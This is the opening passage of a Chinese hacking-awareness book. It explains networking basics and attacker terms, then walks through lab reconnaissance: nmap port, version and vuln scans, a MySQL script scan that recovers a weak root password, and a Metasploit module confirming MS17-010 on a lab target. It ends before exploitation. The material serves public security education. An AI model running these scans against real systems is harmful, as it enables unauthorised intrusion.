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序 言

我本想深深埋藏自己的技术，做一个普普通通的人，奈何，总

是看到一些因为网络安全问题引发的一幕幕悲剧：农民工辛辛苦苦

赚的钱被盗刷、兢兢业业做的项目方案被对手窃取、账号被盗虚拟

资产丢失、网络瘫痪、服务器沦陷……

不单单是我，警察同志也都在辛苦的进行各种各样的网络安全

宣传教育，但是他们只是告诉你不要点击陌生链接、不要怎样怎样，

这种命令式的教育效果并不理想。因为人们并不知道为啥不能点击

陌生链接，为啥点击链接就可能会损失财产，人类都是好奇的，只

有让人们看到黑客是如何一步一步入侵的，让人们从心底里产生深

深的恐惧才能真正记住并且做到不点击陌生链接。否则很多时候只

是左耳进右耳出了。

然而，目前市面上的黑客书籍多以技术攻防为主，还没有此类

正能量的书籍。于是，我决定站出来写一本黑客解密档案，以人们

最关心的网络安全问题为主线，通过网络安全真实案例解密黑客技

术，让你感受到黑客的恐惧，并总结分析其实现原理，从心里主动

学会防范，净化网络环境。

还有两个不得不提及的问题，一这么多年来黑客技术的原理
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几乎没什么变化，但是黑客工具总会不断更新，本书侧重于原

理实现，当然书中所用到的黑客工具也是截止目前比较先进的 Kali

Linux 渗透攻击系统。二：网络不是法外之地，请不要用书中所讲

到的技术做任何违法操作。

如果你看此书的目的就是为了学习黑客技术去搞破坏，那么我

劝你还是别看了。因为除了难逃法网之外，更多的是承受灵魂黑暗

之痛，愿君，听之，信之！切记！

董文龙 2021 年 2 月 7日晚
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一、概述

互联网发展到今天已经非常成熟，在我们工作生活当中处处

都离不开网络。电脑办公、网上购物、网络直播、移动支付等等都

成为很普通的事情。

然而…

我们也在时时刻刻遭受着黑客的肆意破坏，病毒感染、数据丢

失、服务器瘫痪、账号被盗、资金被盗等等现象每天都在上演，而

依托于黑客技术进行的综合电信诈骗更是可恶至极！

也许你会说：“我电脑也没被黑客攻击啊，再说了，我一个普

通人黑客攻击我干嘛？”

下面是我的回答，希望能引起你的警醒，否则就不要继续往下

看了，因为你本质不相信有这些，看了也是枉然。

1）、你肯定被黑客攻击过（除非你是一出生瞬间就脱离了这

个社会，独自一人去荒岛生存等特殊情况，即便是出生当天办理了

出生证明也会有这条数据录入到相关数据库中，当然一些非常规性

极其特殊情况除外：例如你没有户口并且完美的躲过了所有社会性

信息调用，这种及其特殊的情况不在考虑范围之内；声明：其实逻

辑还不够严谨，因为总会有例外，但为了本书的正常阅读效果，基

于人类目前共有的认知，后续将用正常逻辑及语言思维书写，不严
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谨之处还请包涵），这毋庸置疑，只是黑客通过技术手段没有让你

发现而已或者说没有进行深入攻击；

2）、不是说因为你是一个普通网民黑客就不会搭理你，例如：

在批量攻击某个省市的电脑时，如果当时你联网了，就在其攻击范

围之内；

3）、即便是你没有联网，只在局域网内使用，那么当黑客攻

击局域网内其它目标时很有可能会顺带着把你给稍上，甚至是用你

当跳板来继续攻击。

4）、即便是你电脑手机都断网关机，看似保护好了自己，但

是你曾经在某个网站注册过账号，你不能保证这个网站没有漏洞，

那么当这个网站被黑客攻击后就会获得你的账号密码；

5）、即便是这个网站没有漏洞，那么一台服务器上可能有多

个网站，如果黑客先入侵了别的网站，然后获得服务器权限，这样

依然可以入侵你注册过的网站。你不可能保证所有网站都一点漏洞

没有吧！再者，我想你注册过的账号肯定不止这一个，各种游戏账

号、社交类软件账号、邮箱账号、购物平台账号等等，总是会有那

么几个是相对不安全的。

6）、钓鱼攻击、信息轰炸、病毒感染（如;勒索病毒,难道是

因为你长得帅所以它就绕着你走？）
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7）、我们姑且假设你相当的完美，所有病毒及攻击手段都绕

着你走，但是！人心险恶啊！你最好的朋友、同事可能会因为各种

原因来黑你，例如同事间为了抢一个项目会进行的社会工程学攻击！

这种社会工程学攻击相当可怕，成功率非常高，例如他联合几个同

事一起去申诉你的 QQ，因为对你相当了解能很容易猜解密保答案，

然后用你的 QQ邮箱来发一些神秘的信息，最终赢得了项目，后面

会有类似经典案例给大家分享，只不过他那个是社工（社会工程学

简称“社工”）+黑客技术共同入侵的企业内部邮箱。

所以，请相信我上面说的：你肯定被黑客攻击过！此时此刻也

在被黑客攻击！

那么问题来了，难道我们就坐以待毙吗？

“黑客这么嚣张，敢动我我就报警！”理论上这没问题，遇到

困难找警察，这是从小我们就学到的意识，实际上虽然我们有敬爱

的人民警察，但面对这种黑客类案件侦破难度及成本是非常大的，

很多时候即便是抓到了嫌疑人可是损失已经无法追回。

所以从我们自己本身入手，做好第一道防线，了解黑客常用攻

击手段及原理本质，找到应对方法即可在很大程度上挡住黑客攻击，

避免造成损失。

问题来了，我一个平时只是听歌看电影、刷抖音、刷快手的人
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能学会黑客攻击手段？这也太难了吧！

说实话，如果真的是一点点的学习黑客技术是非常艰难的事情，

他涉及到的领域很多，但是我们只要学会他们常用的原理、了解一

些主要的攻击方法就足够了，因为本书的目的不是为了教你黑客技

术，而是通过解密黑客技术让你学会防御。

本书的宗旨：以人们最关心的网络安全问题为主线，通过网络

安全案例解密黑客技术，并总结分析其实现原理，最终学会针对原

理进行防范，净化网络环境。

书中难免有纰漏之处，还请业内同仁批评指正。
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二、基础知识扫盲

书中会提及一些黑客技术术语，为了易于理解，本章将对部分

主要技术术语进行通俗化讲解，这样容易理解。

2.1、网络组成及原理

这里我们用一个最简单的模型来表达一下，可以通俗的理解为

我们常用的网络是由内网和外网组成的，如图 2.1.1 所示，内网里

的计算机（下图中的“客户端”）通过路由访问外网设备，例如当

客户端 A想访问百度时，首先是将网址发送给路由器，由路由器去

访问百度网站服务器，服务器接受请求将网页数据原路返回发送给

客户端 A，这样在 A电脑上就可以看到百度页面了。（当然，真实

图 2.1.1 内网与外网关系
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原理比这个复杂的多，这里为了便于理解进行简化处理）。

电脑 B 想发送一封电子邮件，于是先将请求发送给路由器，由

路由器向邮件服务器发送请求，最终通过邮件服务器发送邮件。

当然外网设备种类不止这三类服务器，内网也不止这三个客户

端，还有打印机、NAS 等各种常用设备，这里将根据行文内容在适

当时候进行补充。

平时我们经常浏览网站，因此用的最多的一般是网站服务器，

一台服务器上面可以部署多个网站，而每个网站又由网站程序、数

据库等组成，这里先有一个基本概念即可。下面介绍一下我们浏览

网站的主要数据流程，如图 2.1.2 所示：

图 2.1.2 网站加载流程
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对应图中步骤如下：

1）客户端在浏览器中输入网址，如 www.baidu.com,将请求发

送给路由器；

2）路由器将网址发送给 DNS 服务器，DNS 服务器通过对网址解

析出 ip地址 110.242.68.4，并将 ip 地址告诉路由器；

3）路由器向 ip地址为 110.242.68.4 的服务器发起请求；

4）服务器网站 HTTP 程序得到请求后访问网站程序；

5）网站程序根据业务逻辑访问数据库；

6）数据库将数据返回给网站程序；

7）网站程序将数据交给 http 服务；

8）http 服务将网站页面数据返回给路由；

9）由路由进行端口转发给客户端电脑，电脑里浏览器拿到数

据后进行渲染，最终呈现出页面；

上面这两张图要重点理解一下，后面所有内容都是基于这两张

图进行讲解。

2.2、域名解析

在上图 2.1.2 中，我们完全可以通过直接访问 IP地址+80 端口

110.242.68.4:80（http 默认是 80 端口，可以不写，会自动访问

http://www.baidu.com
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80 端口）来访问网站，如图 2.2.1 所示：

为什么还要输入域名 www.xxxxxx.com 呢?其实非常简单，就是

为了好记而已。这种没有规律的 ip地址想要记住是挺困难的，而

域名往往是由特定含义的字母组成，例如百度网站 www.baidu.com

非常好记，因此为了便于记忆直接用域名来代替 ip地址，实际上

是通过 dns 解析来找到真实 ip；我将自己的博客网址

www.anquanrensheng.com 解析到 ip 地址 58.215.145.152，在记录

值这里输入 ip即可，如图 2.2.2 所示

图 2.2.1 通过 IP 访问网站

图 2.2.2 设置域名解析到 IP

http://www.baidu.com
http://www.baidu.com
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然后在服务器端绑定上这个域名即可（这里不演示），这样当

我在浏览器中访问 www.anquanrensheng.com 的时候就可以找到正

确的服务器 ip来访问 http 服务了。

Ps：域名和服务器需要在域名服务商如阿里云、百度、华为等

来购买，然后需要在工信部完成网站备案才可正常使用。

2.3、端口（port）

端口可以理解为计算机之间通信的门口、窗口，常见的有 80

端口、21 端口、3306 端口、3389 端口等等。举个例子如图 2-4 所

示，比如在银行柜台会有不同的窗口，上面有标号，1号窗口，2

号窗口，3号窗口等等，其中 1号窗口只负责办理个人普通业务，2

号窗口只负责办理企业对公业务、3 号窗口只负责办理理财产品业

务，当你需要办理个人业务时候就必须去 1 号窗口。银行就相当于

服务器，银行的各种服务就相当于这台服务器提供的 http 网站服

务、ftp 文件传输服务、smtp

邮件服务等多个服务，银行服

务的窗口号相当于服务相对

应的端口号，数据传输就是通

过制定的端口来进行的。

图 2.3.1 银行窗口及服务
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端口的取值范围是:0-65535。在这个取值范围中 1023 以下的

端口已经分配给了常用的一些应用程序,这个数字以后的端口部分

被使用,所以网络编程可用的端口一般在 1024 之后选取。

2.4、协议

协议是网络协议的简称，网络协议是通信计算机双方必须共同

遵从的一组约定。如怎么样建立连接、怎么样互相识别等。只有遵

守这个约定，计算机之间才能相互通信交流。这就相当于甲乙双方

需要互相发加密电报，那么加密电报该怎么发呢？甲自己加密的电

报乙看不懂，反之亦然。为了解决这个问题于是甲乙双方坐在一起

进行协商，最终拟定了一个共同的加密规则：

1、规定电报类型：0-求救，1-敌情；

2、“手表”-“首长”，“暗红”-“暗杀”；

此时甲给乙发送电报：1 只暗红色的手表，乙拿出写好的规则

进行破译：发现敌情，有人要暗杀首长！这样甲乙之间就实现了通

信，那么这个写好的规则或者说密码本就是通信协议。

例如 smtp 协议就规定了邮件发送与接收的规则，这样才可以

实现发送邮件的功能。

SMTP 协议的工作过程可分为如下 3 个过程：
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(1)建立连接：在这一阶段，SMTP 客户请求与服务器的 25端口

建立一个 TCP 连接。一旦连接建立，SMTP 服务器和客户就开始相互

通告自己的域名，同时确认对方的域名。

(2)邮件传送：利用命令，SMTP 客户将邮件的源地址、目的地

址和邮件的具体内容传递给 SMTP 服务器，SMTP 服务器进行相应的

响应并接收邮件。

(3)连接释放：SMTP 客户发出退出命令，服务器在处理命令后

进行响应，随后关闭 TCP 连接。

2.5、后门木马

后门木马通俗理解就是黑客电脑对目标电脑进行监听，当目标

电脑运行后门木马之后，会在目标电脑返回给黑客电脑一个链接如：

tcp 链接，黑客可以通过这个链接实现对目标电脑的控制。

2.6、免杀

免杀技术全称为反杀毒技术 Anti Anti- Virus 简称“免杀”，

它指的是一种能使病毒木马免于被杀毒软件查杀的技术。黑客通常

会将生成后的木马进行免杀处理，这种经过免杀处理的木马可以肆

无忌惮的在电脑上运行而不被杀毒软件查杀，如以常用的 360 和火

https://baike.baidu.com/item/%E6%9D%80%E6%AF%92%E8%BD%AF%E4%BB%B6


黑客解密档案

第 12 页

绒等免杀效果为例如图 2-5 所示。

图 2.6.1 木马成果绕过杀毒软件查杀
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由于免杀技术的涉猎面非常广，其中包含反汇编、逆向工程、

系统漏洞等黑客技术，所以难度很高。免杀就相当于你计划要做一

件非法的事情，正常情况下肯定会被警察看出来这是违法的，但是

你通过极其高明的掩盖手段掩盖了犯罪事实，使得警察一时间根本

没有发现你正在作案，这就是免杀。而警察的犯罪档案资料库也在

不断更新，这就相当于病毒库更新，一旦更新之后就可以识别出你

的伎俩了。

2.7、暴力破解

暴力破解可以理解为把所有密码都尝试一遍，肯定有一个密码

是对的。例如要破解邮箱登录密码，我们不知道他密码是几位的，

但是肯定在 1~16 位之间，而且每一位肯定是由数字、小写字母、

大写字母、特殊字符其中的一个，如：

0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,g,…

x,y,z,A,B,C,…,X,Y,Z,~!,@,#,…$,%...，那么我们就按照排列组

合把所有密码都列出来，然后不断尝试登录，这样肯定能破解出密

码。这种纯暴力式的破解方式简称暴力破解。

https://baike.baidu.com/item/%E6%B1%87%E7%BC%96
https://baike.baidu.com/item/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/5097433
https://baike.baidu.com/item/%E7%B3%BB%E7%BB%9F%E6%BC%8F%E6%B4%9E
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2.8、密码字典

在暴力破解中我们提到了要将所有密码组合进行排列，其实很

多时候我们的密码都是有规律可循的，例如已经知道这个密码总共

8 位，其中前三位为“min”,后 5位是纯数字，但是数字是啥不清

楚。这个时候就需要用字典工具生成“min00000”~”min99999”

共计 10 万个密码，这 10万个密码保存在文本文件里面，每行一个

密码，这个文本文档如 pass.txt 就成为密码字典。

2.9、在线破解

黑客在密码破解过程中，对于像邮箱密码这种运行在远程服务

器上的程序，都需要进行在线破解。原理是读取字典文件里的每一

条数据，然后将用户名和密码等数据进行组合处理按照协议发送数

据包，当密码错误时服务器返回来的状态消息和密码正确时返回来

的消息是有区别的，黑客通过返回状态即可判断哪个密码是正确的。

这种需要发送远程数据来破解的方法简称在线破解，本质上就

是需要连网才可以破解。

2.10、离线破解

离线破解是与在线破解相对应的，也就是说不需要发送远程数
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据，直接在电脑本地就可以进行破解的方式。例如破解一个 zip 压

缩包密码这种直接在本地电脑就可以破解的方式简称离线破解。

2.11、信息收集

信息收集是黑客进行渗透攻击的第一步，也是非常重要的一步，

信息收集的越全对后续黑客渗透越有帮助。信息收集就是收集目标

在网络上的各种各样的信息。例如黑客要入侵一台网站服务器，那

么他会收集这台服务器操作系统是什么，开放了哪些端口，对应的

服务软件版本号是什么，运行着哪些网站，网站的一系列其它信息

收集等等。所谓知己知彼百战不殆，黑客之所以要收集非常详细的

信息就是为了找到更多的突破口，例如这个服务器其它地方安全性

都很好就是因为其上面运行的一个网站有注入漏洞，黑客就可以通

过这一个漏洞获取到服务器权限（即攻下服务器）。

2.12、漏洞

漏洞这个概念经常听到，百度百科上给的解释是指一个系统存

在的弱点或缺陷，字面意思是针对一个系统，其实人性也有漏洞，

这个在社会工程学攻击这一部分会重点讲解。我们先说说计算机安

全漏洞，这里主要指计算机操作系统、应用软件、安全防护策略等
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层面上的弱点或缺陷，比如网站程序对上传的.jpg 图片格式过滤不

严谨，导致可以绕过规则直接上传木马文件，这就是比较常见的上

传漏洞。

一位资深的黑客一般都非常善于发现各种漏洞，包括非计算机

类的，例如财务管理漏洞、项目管理漏洞等等，一旦黑客将这些漏

洞与黑客技术相结合做一些非法的事情是非常可怕的，成功率几乎

是 100%，因为他们将漏洞应用到了极致，堪称一门“美学”。

下面就与我一起走进黑客解密的世界！
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三、电脑系统攻击档案

3.1、黑客为什么要攻击我？

首先来说，这是一个非常好的问题。乍一看，我们作为普通人，

和黑客没仇没怨的，他为何攻击我？甚至曾经有人问我：“是不是

黑客看我太穷了，所以攻击我的目的是为了给我的账户充点钱呀？”

额……，从概率上来讲不能排除会有这样正义的黑客存在，但是应

该比较少，至少我目前为止还没遇到过。

黑客攻击你的原因无外乎两个：有意、无意。有意攻击是指黑

客把你做为主要攻击目标，专门针对你展开的攻击行动。无意攻击

是指黑客采用批量攻击等手段攻击时把你也给捎上了。例如在概述

中我曾经提到黑客在攻击某个城市的 ip段时如图 3.1.1 所示，在

百度中直接搜“北京市活跃 ip段”点击链接进去就可搜索到了，

如果你的 ip正在这个 ip 段之内，那么你的外网就被列为目标的其

中之一了。
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这种批量的攻击多数情况下只是对一个漏洞的破解，例如 3389

远程桌面连接的账号，这种情况

时时刻刻都在上演，如下图 3.1.2

所示为一台服务器拦截到的实时

记 录 ， RDP(Remote Desktop

Protocol 远程桌面协议)，公网

RDP 暴力破解就是指破解 3389 远

程桌面登录账号和密码。

有意攻击是黑客自身或者接

受别人委托对你采取的攻击，这种

相对来说更加可怕，因为他会对你

进行全面渗透绝不仅仅是 3389 这

一个端口。

那么为啥黑客会有意攻击我

呢？

首先黑客技术目前都已经框

架化，也就是说普通人就可以利用框架很

快学会基本黑客技术，因此当一个十几岁的孩子说自己是黑客的时

候，你一定要去相信他。

图 3.1.1 北京 IP 段地址

图 3.1.2 攻击分析界面
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既然孩子都可以很快上手那么对于普通网民来说学一些基础

的黑客技术就更简单了。当人们学了一些黑客技术之后就会在工作

生活中为了达到自己的目的而学以致用，例如监听同事账号密码等

等。

所以说，你身边其实潜伏了很多初级黑客。而你做为社会的一

份子，肯定会有人想从你这里得到些什么，可能是一个方案、一个

密码等等，因此你身边的这些初级黑客会对你展开有意的攻击。这

种攻击往往因为防不胜防，成功率很高，所以你一定要小心！

3.2、黑客是如何发现我电脑有漏洞的？

3.2.1 信息收集

3.2.1.1 信息分类

信息收集是黑客进行攻击的第一步，也是非常重要的一步操作，

信息收集的越精准越多对后续的入侵起到至关重要的作用。打个比

喻，在抗日战争期间，我军一些特战小组在对敌人展开致命打击之

前都会想尽各种办法掌握敌情，办法包括化妆渗透、故意打草惊蛇

等等，欲掌握的敌情包括军事部署、换岗时间、敌人爱好、甚至目

标人物爱吃什么菜、对方都有哪些亲属、他乘坐的汽车车牌是多少

等等，总之一切与之相关的信息都很重要，因为可能一个微小的细
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节就能带来战争的胜利。同样，黑客想攻击一台电脑，首先要收集

这台电脑以及和其相关的人或者物的全部信息，这些信息包括：

1）电脑本身相关：电脑 IP地址、网卡地址、操作系统类型、

开放了哪些端口、安装了哪些软件、杀毒软件是哪个品牌等等；

2）电脑使用者：名字、年龄、身份证号码（要考虑到有的人

会有两个甚至多个身份证的情况，上面的名字和身份证号码都不一

样，但是照片都是他本人，这样的人确实存在，我就遇到过）、电

话号码、生日（包括真实生日，有时候真实生日与身份证不一致）、

以及他的职业、爱好（电脑游戏中爱使用的角色等）、他注册过哪

些网站、他男/女朋友的相关姓名生日等信息，其实这里有很多，

比如他和他对象的结婚纪念日、买的什么礼物等等非常多，这里就

不一一列举了；

3）电脑工作环境：电脑所属工作单位、局域网环境（例如是

否有打印机、NAS 文件存储等设备）等；

看到这里你可能会产生疑问：“黑客不就是入侵一个电脑吗？

干嘛还要这么多信息？你是不是在忽悠我？”

不是这样的，后面我们解密的黑客攻击技术都是基于这些信息

展开的，比如你的某个密码很有可能就是以上信息的组合，比如：

名字（小敏）+生日（0906）的组合：min0906。针对其他信息比如
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注册过哪些网站等等都会在后面逐一解密。

3.2.1.2 信息收集手段

针对于以上说的这些信息，那么黑客是如何收集这些信息的

呢？主要有以下几个手段：黑客专用信息收集扫描工具、搜索引擎、

社会工程学。

1）黑客专用信息收集扫描工具

本书是基于目前比较领先的 Kali Linux 系统作为渗透工具，

通过 VMware 虚拟机架设 Kali Linux 系统与靶机进行渗透演示，如

图 3.2.1.1 所示。具体 VMware 虚拟机及 Kali 搭建不是本书的重点

内容，这里不予讲解，读者可根据需要自行去搜索引擎查找安装方

法。

图 3.2.1.1 kali 系统
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点击左上角龙形图标，打开 kali 菜单，Kali 根据黑客入侵步

骤集成了很多优秀工具，这里我们点击“01信息收集”-“网络扫

描”-“nmap”，如图 3.2.1.2 所示：

找到 nmap 打开之后显示的是 nmap 帮助信息，如图 3.2.1.3 所

示

图 3.2.1.2

图 3.2.1.3 nmap 帮助信息
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很多时候黑客不会选择在左侧菜单那里一层一层的去找命令，

而是直接打开终端输入命令即可，例如输入：nmap –h 然后回车

即可打开一样的帮助信息，这些信息包括了 nmap 具体使用方法，

不要惧怕英文，最起码可以直接复制这些信息到百度翻译里面直接

翻译就可以了，如图 3.2.1.4，3.2.1.5 所示

图 3.2.1.4 nmap 帮助信息

图 3.2.1.5 百度翻译
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Nmap 是一款网络扫描神器，它可以扫描目标主机的操作系统、

脚本扫描、路由跟踪、服务探测、漏洞扫描等等，涉及到的命令很

多，这里只介绍几个常见的命令，其它命令如有兴趣可自行去研究。

-p<port ranges>：扫描指定的端口，可以是一个范围或者几

个单独的端口

-sV：探测打开的端口以确定服务/版本信息

-O： 启用操作系统检测，检测操作系统版本

-A： 启用操作系统检测、版本检测、脚本扫描和跟踪路由

--script=<Lua scripts>：<Lua scripts>是以逗号分隔的，

这个是脚本扫描，通过已有教程漏洞程序对主机进行扫描，部分参

数如下：

auth: 负责处理鉴权证书（绕开鉴权）的脚本

broadcast: 在局域网内探查更多服务开启状况，如

dhcp/dns/sqlserver 等服务

brute: 提供暴力破解方式，针对常见的应用如 http/snmp 等

default: 使用-sC 或-A 选项扫描时候默认的脚本，提供基本

脚本扫描能力

discovery: 对网络进行更多的信息，如 SMB 枚举、SNMP 查询

等
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dos: 用于进行拒绝服务攻击

exploit: 利用已知的漏洞入侵系统

external: 利用第三方的数据库或资源，例如进行 whois 解

析

fuzzer: 模糊测试的脚本，发送异常的包到目标机，探测出潜

在漏洞 intrusive: 入侵性的脚本，此类脚本可能引发对方的

IDS/IPS 的记录或屏蔽

malware: 探测目标机是否感染了病毒、开启了后门等信息

safe: 此类与 intrusive 相反，属于安全性脚本

version: 负责增强服务与版本扫描（Version Detection）功

能的脚本

vuln: 负责检查目标机是否有常见的漏洞（Vulnerability），

如是否有 MS08_067

实验环境：

Kali（攻击方） Windows10（靶机）

网

络

桥接 桥接

I

P

192.168.31.16 192.168.31.17
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查看

方法

在终端中输入：

ifconfig

在终端中输入：

ipconfig

图片

下面针对目标 win10 靶机演示几个 nmap 扫描命令，win10IP

No1. nmap –sV –sC –p 1-65535 192.168.31.17

含义：–p 1-65535 扫描 1-65535 端口，–sV 查看开服务版本

信息，–sC 用默认脚本对主机进行扫描，其实可以用-A 参数来代

替进行全部扫描。如下图 3.2.1.6 所示：

图 3.2.1.6 nmap 扫描
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从扫描结果来看，对方开放了 21端口，80 端口，3306 端口等，

对应的服务版本为 FileZilla ftpd，Apache httpd 2.4.39、MySQL

5.7.26。后续就可以针对这些展开入侵渗透。

No2. nmap –A 192.168.31.17

含义：操作系统检测、版本检测、脚本扫描和跟踪路由 如下

图 3.2.1.7 所示：

从结果来看对方开启了 3389 端口对应的远程桌面连接，检测

到对方操作系统是 win10。

黑客下一步会猜想那么21端口的ftp、3306端口的mysql、3389

端口的远程桌面登录这些是不是可以暴力破解密码呢？或者说对

应的版本是不是存在漏洞呢？于是开始尝试先用弱口令暴力破解，

看看是否存在弱口令漏洞；

图 3.2.1.7 nmap 扫描
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No3. nmap -p 3306 --script=mysql-* 192.168.31.17

含义：针对 3306 端口进行脚本扫描，用到的脚本为 mysql 下

面的所有脚本

结果：直接扫出了账号为 root,密码为 123456，以及数据库也

都扫出来了，这是相当可怕的。如下图 3.2.1.8 所示：

信息收集工具还有很多，这里不再一一展示，你只要简单知道

黑客是如何利用信息收集工具的就可以了。

2）搜索引擎

No1.钟馗之眼（ZoomEye）、shodan 等网络空间搜索引擎

这类引擎可以进行海量的搜索，也可针对某一台服务器进行漏

洞检索，例如直接检索服务器 IP即可查找到当前 IP的漏洞。如下

图 3.2.1.8 nmap 扫描出敏感账号密码
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图 3.2.1.9 所示：

再者如果黑客发现华为漏洞，想找一下全球所有华的设备，这

时候就真正体现出空间搜索引擎的强大之处了，它找到了全球

41161852 个华为的设备，如下图所示。当然不要去攻击华为，因为

中华有为！

图 3.2.1.9 钟馗之眼

图 3.2.1.10 钟馗之眼扫描华为
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No2.REG007 等社工库

通过 REG007 就可以搜索你的手机号注册过哪些网站，如图

3.2.1.11,3.2.1.12 所示：

图 3.2.1.11 REG007

图 3.2.1.12 REG007 扫描手机号注册过的网站
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这一点就非常可怕，因为很多时候我们都习惯于所有账号都用

一个密码，或者是密码相互之间差别不大，当一个网站因为安全问

题数据库泄露之后别人就知道你的密码了。还不相信？别急，来我

带你们走进更为恐怖的解密！

No3.其它第三方数据库

之前是不是听说过某某酒店数据库泄露事件？某某邮箱数据

库泄露事件等等？很多年以前我就接触过不少这样的数据库，打开

一看密密麻麻的，都是账号密码，实话实说 80%的密码组合规则都

非常简单，挺触目惊心的。那么这些第三方数据库很有可能就有你

以前注册过的账号密码，通过查询即可迅速找到。目前也有一些网

络平台来检测你的账号以前是否被攻击过，我们来看一下这个平台，

他破解了 501 个网站的数据，包含了 105 亿个账号密码数据，如图

3.2.1.13 所示。

图 3.2.1.13 检测邮箱账号密码是否被攻击破解
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如果你用邮箱注册过某网站，而这个网站正好被它拖库了，那

么他就有你的账号和密码了，下面我们检测一下。我用我的邮箱测

试，如图 3.2.1.14 所示，我之前注册过这些网站，而这些网站曾

经数据库可能发生过泄露事件（或者其它原因），导致我的密码也

泄露了，因此是不安全的。

3）社会工程学

其实上面的社工库也属于社会工程学的范畴，但根据行文需要

还是把它归于搜索引擎。那这里是要说什么呢？其实利用社会工程

图 3.2.1.14 检测密码是否被攻击破解
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学获取信息本身就比较抽象，他是指利用社会行为、人类心理等综

合进行的攻击技术，凯文.米特尼克所著的《欺骗的艺术》一书中

完美的诠释了社会工程学的强大之处。还有范建中写的《黑客社会

工程学攻击档案袋》中也是只通过一个网名 ID，就在互联网上层层

社工渗透，最终破解了密码等重要信息。社会工程学攻击是情商加

智商的综合高级利用，如果再和黑客技术结合起来就非常可怕了。

比如;小玺和小美是同事，小玺对小美说：“小美，月底了财

务催咱们在网上填写报销申请单，你也现在就填一下吧，马上就下

班了！”此时小玺早已经在你身后或者旁边不显眼的地方用手机在

记录小美输入的账号密码。然后小玺再根据账号密码进行其它非法

操作，例如用小美的账号登录平台，然后多填报一些乱七八糟的费

用，而且还以小美的角度来故意隐藏，这样小美最终可能因为这一

件事就丢失了工作。

这种利用同事之间的友情等来进行的社工往往防不胜防，也许

你会说这方法也太 low 了！但是往往这种方法对黑客来说却能够取

得非常大的收获。

如果小玺学习了一些基础黑客技术，就可以很容易实现对小美

电脑的监听，这样就完全不用手机录像了，直接正常让小美登录平

台就可以了，此时登录的账号密码就会自动发送给同事小玺，是不
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是很可怕？后面我们会继续这个案例来解密黑客小玺是如何进行

监听小美账号的。

3.2.2 漏洞发现

在收集了大量信息之后，黑客会对这些信息进行综合筛选，哪

些信息代表可能包含哪些漏洞等等，下面我们按照扫描漏洞和验证

漏洞来进行解密。

3.2.2.1 扫描漏洞

我们绝大多数都已经习惯于 windows 操作系统，当然还有使用

其他操作系统的，这里暂时不讨论，我们仅用 windows 操作系统作

为案例进行讲解。首先我们说一下 windows 系列操作系统任何一个

版本都会经常爆出一些漏洞，而微软官方以及第三方软件安全厂家

也都及时给与修补。这里为了说明问题我将靶机采用 windows xp

操作系统或者 windows server 2003 来演示。

对于系统漏洞扫描也是用漏洞扫描工具进行扫描，这样的扫描

工具非常多，原理基本一致，都是利用现在的漏洞库对靶机进行检

测，如果有某个漏洞就给检测出来了。
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Kali（攻击方） WindowsXP（靶机）

网络 桥接 桥接

IP 192.168.31.16 192.168.31.110

下面我们来检测一下靶机：

命令如下：nmap --script=vuln 192.168.31.110

vuln: 负责检查目标机是否有常见的漏洞（Vulnerability），

如是否有 MS08_067

扫描结果如下图 3.2.2.1 所示
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从返回结果来看漏洞还是比较多的，ms08-067，ms17-010 这些

比较严重的系统远程代码执行漏洞在靶机电脑上都存在。

这里除了 nmap 漏洞扫描工具以外还有一个是黑客界的神器就

是 msf，全程是 metasploit-framework，它是一款开源的安全漏洞

检测工具，可以帮助安全和 IT专业人士识别安全性问题，验证漏

洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安

全风险情报。它是一个免费的、可下载的框架，通过它可以很容易

图 3.2.2.1 扫描是否存在已知漏洞
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地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已

知软件漏洞的专业级漏洞攻击工具。

在启动 Metasploit 之前先要启动 Postgresql 数据库，这个数

据库用于记录 Metasploit 的数据

启动命令:service postgresql start，然后就可以启动

Metasploit 了，如图 3.2.2.2 所示

我们先输入启动命令：msfconsole，如图 3.2.2.3 所示：

图 3.2.2.2 启动数据库
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这里 2090 exploits 代表当前存在 2090 个可以利用的漏洞模

块，其它主要模块含义如下：auxiliary 代表辅助验证模块，

payloads 代表利用漏洞可以执行的载荷，encoders 代表编码模块。

这些模块在漏洞利用相关章节会重点解密。

现在我们使用 msf 自带的或者说内置的 nmap 扫描工具，

db_nmap 来进行扫描，首先我们看一下帮助信息，输入 db_nmap –

h 回车，如图 3.2.2.4 所示：

图 3.2.2.3 启动 msf
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我们可以发现这和 nmap 命令差别不大，那么我们再扫一次靶

机试一下结果如图 3.2.2.5 所示：

图 3.2.2.4 db_nmap 帮助信息

图 3.2.2.5 db_nmap 扫描结果
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扫描结果与 nmap 相同，说明 MSF 同样具有扫描功能，区别是

后者可以进行更好的后续渗透利用，因此后边我们主要以 MSF 进行

渗透解密。

3.2.2.2 验证漏洞

上 面 我 们 在 扫 描 的 过 程 中 发 现 目 标 靶 机 有 id 为

CVE:CVE-2017-0143 的这个漏洞，那么我们怎么验证是不是真的存

在这个漏洞呢？这里首先解释一下 CVE 与 MS 之间的关系

CVE 是 Common Vulnerabilities and Exposures 的缩写，意思

是通用漏洞。它是一个漏洞字典，有 MITRE 维护。大家可以在

cve.mitre.org/cve/index.html，查看漏洞列表。

而 MS 是 微 软 维 护 的 自 身 的 漏 洞 列 表 。 大 家 可 以 在

technet.microsoft.com/en-us/security/bulletins 查找最新的

各种相关信息。由于两者标准不统一，为了更好对应，MITRE 提供

一个对应列表 cve.mitre.org/data/refs/refmap/source-MS.html。

下面我们看一下这个列表，如图 3.2.2.6 所示：
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通过这个表就可以查询到 CVE 所对应的 MS，那么我们为什么要

转换一下呢，因为 MSF 是采用的是 ms 漏洞代号，当然 MSF 也支持

直接搜索找到对应的

模块，如图 3.2.2.7

所示

图 3.2.2.6 CVE-MS 对照表

图 3.2.2.7 搜索支持的模块
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我们输入 use 1,即选择序号为 1的辅助模块 auxiliary，然后

输入 show options,查看我们需要输入哪些参数，如图 3.2.2.8 所

示：

设置参数即目标主机的 IP 地址，语法格式为：set rhosts

192.168.31.110，然后输入 exploit 运行程序，最后查看结果如图

3.2.2.9 所示：

如图 3.2.2.8 查看参数

如图 3.2.2.9 设置参数并运行辅助模块
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从图中提示可以看出目标主机确实存在这个漏洞，那么黑客就

可以利用这个额漏洞来入侵了。

3.3、黑客是如何利用这些漏洞的呢？

针对于目标靶机黑客可能或找到不同的漏洞，针对不同的漏洞

黑客会采取不同的漏洞利用，本章将重点讲解几个常见的漏洞模块

